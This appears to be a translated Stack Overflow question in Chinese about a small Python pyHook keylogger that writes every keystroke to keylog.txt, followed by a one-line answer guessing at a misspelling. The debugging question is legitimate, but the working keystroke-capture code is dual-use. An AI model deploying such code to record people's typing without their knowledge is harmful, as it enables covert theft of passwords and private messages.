我正在用python编写小键盘记录器。这是我的代码。
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)sx')
logging.log(10,chr(event.Ascii))
return True
def print_stuff():
print "Oh stuff!"
hm=pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
thread.start_new_thread(pythoncom.PumpMessages,())
print_stuff()但是为什么pythoncom.PumpMessages()不能工作呢?有没有办法在线程中运行pythoncom.PumpMessages函数?
发布于 2015-02-20 13:00:41
也许是因为您拼写错了PumpMessages()
https://stackoverflow.com/questions/20312038
复制相似问题